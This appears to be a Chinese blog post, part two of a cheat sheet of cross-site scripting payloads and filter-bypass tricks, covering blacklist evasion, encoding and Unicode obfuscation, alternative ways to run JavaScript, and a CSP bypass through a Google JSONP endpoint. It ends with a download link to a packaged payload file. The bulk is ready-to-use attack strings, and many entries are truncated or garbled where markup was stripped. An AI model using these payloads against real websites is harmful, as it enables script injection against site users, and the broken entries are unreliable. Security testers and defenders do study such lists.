XSS相关有效载荷及绕道的备忘录(下)| 文末有打包好的负载

前言:

今天发布的是下半部分

进入正题

 

过滤的绕过和一些奇异的有效载荷

    • 大小写绕过

 

    • 绕过标签黑名单

  

 

    • 在鼠标按下事件中绕过引号

你可以使用 ' 在mousedown实践中绕过单引号Link

 

    • 绕过点(。)的限制

 

    • 绕过字符串的括号

alert`1`setTimeout`alert\u0028document.domain\u0029`;

 

    • 绕过括号和分号

// 来自 @garethheyes
// 来自 @terjanq
// 来自 @cgvwzq

 

    • 绕过onxxxx =黑名单

object onafterscriptexecute=confirm(0)>
// 绕过 onxxx= 过滤通过空字节/垂直标签,filter with a null byte/vertical tab
// Bypass onxxx= filter with a '/'

 

    • 绕过空格过滤

//使用 / 绕过空格过滤
//使用 0x0c/^L 绕过空格过滤
$ echo "" | xxd00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c 00000010: 6572 7428 3129 0c3e 0a ert(1).>.

 

    • 绕过电子邮件过滤

">"@x.y

 

    • 绕过文档黑名单

 

    • 在字符串中使用的JavaScript绕过

";

 

    • 使用其他方式绕过重定向限制

location="http://google.com"document.location = "http://google.com"document.location.href="http://google.com"window.location.assign("http://google.com")window['location']['href']="http://google.com"

 

    • 使用其他方式执行警报

来自 brutelogic tweet@window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)
[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);
来自 quanyang tweet@prompt`${document.domain}`document.location='java\tscript:alert(1)'document.location='java\rscript:alert(1)'document.location='java\tscript:alert(1)'
来自 404death tweet@eval('ale'+'rt(0)');Function("ale"+"rt(1)")();new Function`al\ert\`6\``;
constructor.constructor("aler"+"t(3)")();[].filter.constructor('ale'+'rt(4)')();
top["al"+"ert"](5);top[8680439..toString(30)](7);top[/al/.source+/ert/.source](8);top['al\x65rt'](9);
open('java'+'script:ale'+'rt(11)');location='javascript:ale'+'rt(12)';
setTimeout`alert\u0028document.domain\u0029`;setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29;
使用其他方式出发alertvar i = document.createElement("iframe");i.onload = function(){  i.contentWindow.alert(1);}document.appendChild(i);
//绕过安全机制XSSObject.proxy = function (obj, name, report_function_name, exec_original) { var proxy = obj[name]; obj[name] = function () { if (exec_original) { return proxy.apply(this, arguments); } }; XSSObject.lockdown(obj, name); };XSSObject.proxy(window, 'alert', 'window.alert', false);

 

    • 不使用任何东西绕过“>”

不必去闭合标签

 

    • 使用其他字符绕过“;”

'te' * alert('*') * 'xt';'te' / alert('/') / 'xt';'te' % alert('%') % 'xt';'te' - alert('-') - 'xt';'te' + alert('+') + 'xt';'te' ^ alert('^') ^ 'xt';'te' > alert('>') > 'xt';'te' < alert('<') < 'xt';'te' == alert('==') == 'xt';'te' & alert('&') & 'xt';'te' , alert(',') , 'xt';'te' | alert('|') | 'xt';'te' ? alert('ifelsesh') : 'xt';'te' in alert('in') in 'xt';'te' instanceof alert('instanceof') instanceof 'xt';

 

    • 使用HTML编码绕过

%26%2397;lert(1)

 

    • 使用武士刀绕过

katakana:https://github.com/aemkei/katakana.jsjavascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()

 

    • 使用Lontara绕过


ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()
更多字母表,可关注:http://aem1k.com/aurebesh.js/#

 

    • 使用ECMAScript6绕过

 

    • 使用八进制编码绕过

javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'

 

    • 使用的Unicode编码绕过

Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) wastransformed into U+003C LESS­THAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) wastransformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) wastransformed into U+0027 APOSTROPHE (')
Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) wastransformed into U+003C LESS­THAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) wastransformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) wastransformed into U+0027 APOSTROPHE (')
E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/%EF%BC%9E becomes >%EF%BC%9C becomes <
使用Unicode转换为大写绕过
İ (%c4%b0).toLowerCase() => iı (%c4%b1).toUpperCase() => Iſ (%c5%bf) .toUpperCase() => SK (%E2%84%AA).toLowerCase() => k
<ſvg onload=... > become <ıframe id=x onload=>.toUpperCase() become

 

CSP(内容安全策略)绕过

    • 使用谷歌的JSONP绕过CSP

//google.com/complete/search?client=chrome&jsonp=alert(1);

anythinglr00uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz


?">

 


注意

上述有效载荷都打包在了下面链接中,自己现行研究一番,在哪里使用,可以做些模糊测试工作,具体自己研究研究吧,求最后 全部.txt 的英文我将其中的有效载荷都复制到了里面,但是有些地方不足,可以自己修改下吧。失效可联系我,不保证能够秒回,着急就加我微信。嘿嘿。

链接:https://pan.baidu.com/s/1J_O9xzKAJXcpjynW1ijjdA 提取码:79fo

 

最后说个好玩是事情,在使用某在线降价排版时,调试这些有效载荷,一不小心触发了个XSS,具体原因还没研究,就来发文章了,一会发完文章研究研究,看看具体是哪个语句触发的......

有图有真相

XSS相关有效载荷及绕道的备忘录(下)| 文末有打包好的负载_第1张图片

 

你可能感兴趣的:(XSS相关有效载荷及绕道的备忘录(下)| 文末有打包好的负载)